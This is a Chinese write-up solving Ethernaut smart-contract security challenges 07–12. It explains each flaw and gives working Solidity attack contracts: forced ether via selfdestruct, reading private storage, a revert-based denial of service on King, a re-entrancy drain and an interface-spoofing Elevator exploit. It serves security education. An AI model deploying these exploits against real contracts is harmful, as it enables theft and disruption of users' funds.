Ethernaut区块链安全闯关07-12writeup
07 Force
这题要求合约的余额大于0,合约如下:
1 2 3 4 5 6 7 8 9 10
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Force { /* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */ }
|
合约只有注释,是个空的合约。因为没有fallback payable或者receive函数,所以直接转账肯定会失败;
这里只有一种强制转账的办法,就是selfdestruct,因为自毁转账是无法被阻止的,所以只要先在智能合约里面充余额,然后调用自毁,就能确保转账成功。
1 2 3 4 5 6 7 8 9 10 11
| // SPDX-License-Identifier: MIT pragma solidity ^0.6.11; contract self_destruct { address payable ins_addr; constructor(address payable _ins_addr) public payable { ins_addr=_ins_addr; } function destroy() public{ selfdestruct(ins_addr); } }
|
知识点:selfdestruct合约自毁与强制转账
08 Vault
这题的要求是赛博撬保险箱,也就是把通过输密码把locked变成false。
合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Vault { bool public locked; bytes32 private password;
constructor(bytes32 _password) { locked = true; password = _password; }
function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
|
看源码,发现只要我们输入的密码正确就行。问题是password被设置为private,无法被外部合约调用或者通过合约abi访问,怎么办呢?
这里就涉及到solidity的变量储存机制了,变量是根据声明顺序依次储存在storage 0、storage 1、storage 2 ……并且可以用web3.js的getStorageAt方法访问。password是storage 1,因此这里直接
1
| web3.eth.getStorageAt(instance,1)
|
最后获得密码后unlock函数就行。
所以实际上来说,private并不保险,只是防止其他合约或者被合约abi调用罢了,但本身的内容是可知的。
知识点:getStorageAt方法、solidity变量储存方法
09 King
这题是一个类似庞氏骗局的小游戏,初始化国王为关卡地址,然后设置一个prize值,然后转账数量高于prize的,可以成为国王,但是转账要给上一个国王,在此之后国王和prize值都会更新。题目的要求是,要成为国王,并且在提交实例关卡会转账大于玩家prize数量的ether重新获取国王,玩家则需要阻止这一过程的发生。智能合约源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract King { address king; uint256 public prize; address public owner;
constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; }
receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; }
function _king() public view returns (address) { return king; } }
|
查看其prize值,发现是1000000000000000Wei。所以我们的思路是先转账成为King,然后利用回滚函数revert()使得关卡在重新夺回King的时候交易回滚导致失败,保持我们的King地位。同时还要注意,接受转账的receive存在修改状态的复杂操作(或者调用其他合约也算),所以转账用send和transfer,由于其固定燃料为2300Gas,在本题会存在燃料不足导致交易失败的情况,所以这里应该用call方法来转账。总的合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Ponzi{ address payable original_king; constructor(address payable _original_king) public payable { original_king=_original_king; } function take_power() public{ original_king.call{value:0.002 ether,gas:200000}(""); } receive() external payable { revert(); } }
|
部署前存入足够的ether,然后获取King身份,最后提交实例即可。
知识点:回滚函数;send/transfer/call转账的区别与操作方法
10 Re-entrancy
本关考察著名的重入漏洞,这题的要求是要偷走合约的所有资产。智能合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| // SPDX-License-Identifier: MIT pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance { using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); }
function balanceOf(address _who) public view returns (uint256 balance) { return balances[_who]; }
function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } }
receive() external payable {} }
|
源码中除了donate函数,还有一个查看余额用的函数balanceOf和提现用的函数withdraw,观察withdraw函数,发现它是先检测数组里用户的余额够不够转账,余额足够就先转账再改变余额,这里存在典型的重入漏洞。具体来说,合约作为一个账户,所有人存入的虚拟币都是在集中起来的,只是每个人都有自己的额度以实现银行功能,换句话说,实际资金和用户的额度是分离的。重入漏洞则可以突破这个额度限制,在把自己的额度转光之后继续转走其他用户的额度,最终抽干合约的资金。具体攻击合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface target { function withdraw(uint256 _amount) external; } contract ReEntrance{ address Instance_addr; uint256 money; constructor(address _Instance_addr, uint256 _money){ Instance_addr=_Instance_addr; money=_money; } function reentrance() public{ target(Instance_addr).withdraw(money); } receive() external payable { if(address(Instance_addr).balance>=money){ target(Instance_addr).withdraw(money); } else{ target(Instance_addr).withdraw(address(Instance_addr).balance); } } }
|
首先部署合约,然后根据攻击合约地址转账,这样攻击合约有了自己的“额度”,就可以开始提款操作,直接调用reentrance函数提款即可。
知识点:重入漏洞
11 Elevator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
interface Building { function isLastFloor(uint256) external returns (bool); }
contract Elevator { bool public top; uint256 public floor;
function goTo(uint256 _floor) public { Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
|
本关需要把top的布尔值变成True,也就是使得电梯到达顶层。
分析合约,发现接口调用了一个isLastFloor函数,而在函数goTo里面接口指向msg.sender,也就是isLastFloor函数必须出现在我们的智能合约中,接着必须是isLastFloor返回false才能通过条件,但此时top仍然为false,达不到到达顶层的要求。所以我们必须写一个isLastFloor函数使得第一次调用为false,第二次调用为·True。最后整体的智能合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface elevator_up { function goTo(uint256 _floor) external; } contract top_floor{ address instance_addr; bool magic=true; constructor (address _instance_addr) { instance_addr=_instance_addr; } function isLastFloor(uint256) public returns (bool){ magic=!magic; return magic; } function interface_controller() public{ elevator_up(instance_addr).goTo(1); } }
|
12 Privacy
这关考察的仍然是变量储存原理,跟vault那关有点像,但是它继续深挖了solidity变量储存的细节情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data;
constructor(bytes32[3] memory _data) { data = _data; }
function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; }
/* A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
|
题目要求很明显,还是将locked变成false;
分析合约源码,一共六个变量,根据storage储存槽的的储存机制,每一个储存槽大小为32bytes,展示为64位的hex,两位的hex为一个字节。储存槽按顺序储存变量,并且将不满32字节的变量按声明顺序放在一个储存槽里,所以,考虑到第二个变量uint256(32字节)一定独占一个储存槽1,那么locked独占储存槽0,剩下flattening,denomination,awkwardness分别为1,1,2bytes,所以三个变量和占一个储存槽2;数组是按数组内变量顺序来占储存槽,由于data是bytes32数组,data[0]、[1]、[2]各自占一个储存槽3、4、5;
现在知道data[2]占储存槽5,那么可以直接web3.eth.getStoargeAt(instance,5)获得data[2],bytes32→bytes16取高位,就是前半段,然后unlock即可,注意uint大转小是取低位。
知识点:数据类型,强制转换,变量储存原理